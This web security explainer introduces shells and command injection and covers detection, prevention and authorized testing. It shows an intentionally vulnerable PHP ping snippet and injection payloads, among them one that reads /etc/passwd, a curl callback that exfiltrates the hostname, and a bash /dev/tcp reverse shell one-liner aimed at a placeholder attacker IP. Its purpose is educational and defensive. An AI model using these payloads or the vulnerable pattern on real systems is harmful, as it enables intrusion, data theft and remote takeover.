Web Security

What Is a Shell? Command-Line Interfaces and Security Risks

A foundational guide to operating system shells: how shells parse commands, what metacharacters do, and why invoking a shell from application code creates injection risks.

Beginner5 min·Nyxeara Security Research·2026-09-16·CWE-VERIFY
shellweb-fundamentalsclios-security

Short answer

A shell is a program that reads text commands and executes them against the operating system. When application code passes unsanitized user input into a shell, it hands the attacker a keyboard.

The idea in one minute

Imagine a receptionist who types whatever you say into a terminal window. You say "open the door" and they type open the door. The problem is that the terminal doesn't understand plain English — it interprets certain characters as instructions to the terminal itself. If you say "open the door; also, email everyone your password," the receptionist types the whole thing literally, and the ; tells the terminal "run a second command now."

A shell is that receptionist. It doesn't know the difference between "the text you meant as data" and "the text you meant as an instruction." Characters like ;, |, $, and backtick are not data — they are commands to the shell. When an application takes a filename from a user and passes it to a shell without escaping, it's letting the user inject those instruction characters into the terminal.

How a shell actually works

Every operating system has one or more shells. On Linux and macOS, the most common is Bash (Bourne Again SHell). On Windows, it's cmd.exe and, more recently, PowerShell. All of them follow the same fundamental pattern:

  1. Read a line of text from stdin, a script file, or a string argument
  2. Tokenize the line into words, splitting on whitespace and recognizing quoted regions
  3. Parse the token stream for operators — the special characters that control execution flow
  4. Expand variables, globs, and substitutions
  5. Execute the resulting command

The critical insight for security is that steps 2–4 operate on the text of the command, not on a structured representation. The shell has no way to know that ; rm -rf / in a filename was intended as a filename rather than a command separator.

The execution flow

Input string
    │
    ▼
Lexer: split into tokens (words, operators)
    │
    ▼
Parser: identify pipes (|), sequences (;), conditionals (&&, ||)
    │
    ▼
Expansion: variable ($VAR), command substitution ($(...) or ``), glob (*), tilde (~)
    │
    ▼
Execution: syscall via execve (or equivalent)

Each stage operates on text. No stage marks "this part was user input" vs. "this part was the intended command." Once concatenated, they are indistinguishable.

A minimal example

A PHP application that pings a host:

$host = $_GET['host'];
$output = shell_exec("ping -c 4 " . $host);
echo "<pre>$output</pre>";

Intended usage:

GET /ping?host=8.8.8.8
# Runs: ping -c 4 8.8.8.8

Attacker usage:

GET /ping?host=8.8.8.8;%20cat%20/etc/passwd
# Runs: ping -c 4 8.8.8.8; cat /etc/passwd

The shell sees ping -c 4 8.8.8.8; cat /etc/passwd as two commands separated by ;. It dutifully executes both. The ; is not part of the hostname — it's a shell operator — but the shell has no way to distinguish intent from syntax.

Why shell invocation creates risk

The root cause is always the same: application code joins user input with a command string and passes the result to a shell interpreter. This happens in several common patterns:

  • Wrapper functions: exec(), system(), popen(), shell_exec(), subprocess with shell=True — these all invoke a shell to interpret the command string
  • String concatenation: building a command string with +, ., or string interpolation instead of passing arguments as an array
  • Escaping that is incomplete: applying escapeshellarg() or similar to some inputs but not others, or applying it at the wrong stage
  • Choosing a shell interpreter explicitly: bash -c "command" or cmd /c "command" with unsanitized input

The safe alternative is always available: call the target program directly without a shell, passing arguments as a structured array. In Python: subprocess.run(["ping", "-c", "4", host]) instead of subprocess.run("ping -c 4 " + host, shell=True). No shell means no shell metacharacters to abuse.

What attackers look for

  • Any parameter passed to exec(), system(), popen(), shell_exec(), passthru(), or subprocess with shell=True
  • Filenames or paths in file operations — even ls "$user_input" or cat "$user_input" runs through a shell if invoked via system() or backticks
  • Arguments to bash -c, sh -c, cmd /c, or powershell -Command
  • Ping, nslookup, dig, curl, wget wrappers — features where user input becomes a command argument
  • The characters ;, |, &, $, backtick, $(, \n (newline injection) anywhere in user-controlled input that reaches a shell

Detection

  • Code review: search for shell-invoking functions (exec, system, popen, shell_exec, subprocess(shell=True), Runtime.exec with string concat) and trace whether user-controlled values reach them without array-based argument passing.
  • Dynamic testing: submit payloads containing shell metacharacters followed by a unique canary command or a sleep/delay instruction, and observe the response. A 5-second delay from ; sleep 5 confirms shell interpretation.
  • Blind testing: use out-of-band payloads like ; curl http://canary.example.com/$(hostname) to trigger a DNS or HTTP callback from the server.

Verification: real vulnerability or false positive?

A parameter containing a semicolon producing an error is not command injection — many parsers choke on unexpected characters. Confirm by showing one of:

  • A time-based signal: ; sleep 5 in the parameter causes a measurable delay compared to the same request without it
  • An out-of-band callback from a command that reaches infrastructure you control (; curl your-oast-domain)
  • Reflected output that could only have been produced by executing a command you injected (e.g., the contents of /etc/passwd)

The test must prove the shell actually executed your injected instruction, not just that it passed your string to a command that errored.

Real-world impact

  • Full remote code execution: command injection in a web application gives the attacker the same privileges as the application user, which is often enough to read the entire filesystem, access databases, and pivot to internal networks
  • Data exfiltration: using curl or wget to ship database contents, source code, or environment variables (which often contain secrets) to an attacker-controlled server
  • Reverse shell: a single command like bash -i >& /dev/tcp/attacker-ip/4444 0>&1 can give the attacker an interactive shell
  • Lateral movement: from the compromised server, an attacker can reach other internal systems that were never exposed to the internet

Prevention

  • Never pass user input to a shell. Call the target program directly with an argument array: exec(["ping", "-c", "4", host]), not exec("ping -c 4 " + host).
  • Avoid shell=True in Python's subprocess, system() in PHP/C, Runtime.exec(String) in Java, and backtick operators in any language. These are all shell invocations.
  • If a shell is unavoidable (e.g., you need pipes, glob expansion, or environment variable interpolation), use a proper escaping function (escapeshellarg() in PHP, shlex.quote() in Python) on every user-supplied segment — but prefer refactoring to avoid the shell entirely.
  • Validate the input format before it reaches any command: if the expected value is an IP address, reject anything that doesn't match an IP address pattern, regardless of shell safety.
  • Apply least privilege: the application user should not have access to sensitive files or commands it doesn't need to function.

Related vulnerabilities

  • Command injection — the direct consequence of unsanitized input reaching a shell
  • Argument injection — a subtler variant where user input reaches a program's argument list without a shell, but the program interprets arguments in dangerous ways (e.g., --option flags treated as directives rather than values)
  • Path traversal — often combined with command injection to read or write files outside the intended directory

Testing methodology (do this safely)

  • Test against your own application or an authorized target only. Command injection is remote code execution — testing without authorization is a crime in most jurisdictions.
  • Start with benign timing payloads (; sleep 5) to confirm shell interpretation before escalating to data-reading or out-of-band probes.
  • Use a dedicated OAST domain for callback-based confirmation. A DNS callback from a curl or nslookup payload is definitive proof.
  • Never execute destructive commands (rm, shutdown, format) even on your own test systems. Use harmless equivalents that demonstrate the same principle.
  • Document the exact parameter, the payload used, the evidence of execution (timing, callback, or reflected output), and the affected code path.

Further reading

Nyxeara perspective

Nyxeara's scan engine treats every shell-invoking function call as a candidate for command injection, testing each input vector with timing-based probes and out-of-band callbacks. The engine distinguishes between shell invocation detected (a code-path observation) and command execution confirmed (a vulnerability finding), requiring evidence — a callback or a timing differential — before elevating a candidate to a confirmed finding. This evidence-first approach eliminates the false-positive noise that plagues pattern-only scanners, while still surfacing every code path where a shell might interpret attacker-controlled text.

Published 2026-09-16 · Updated 2026-09-16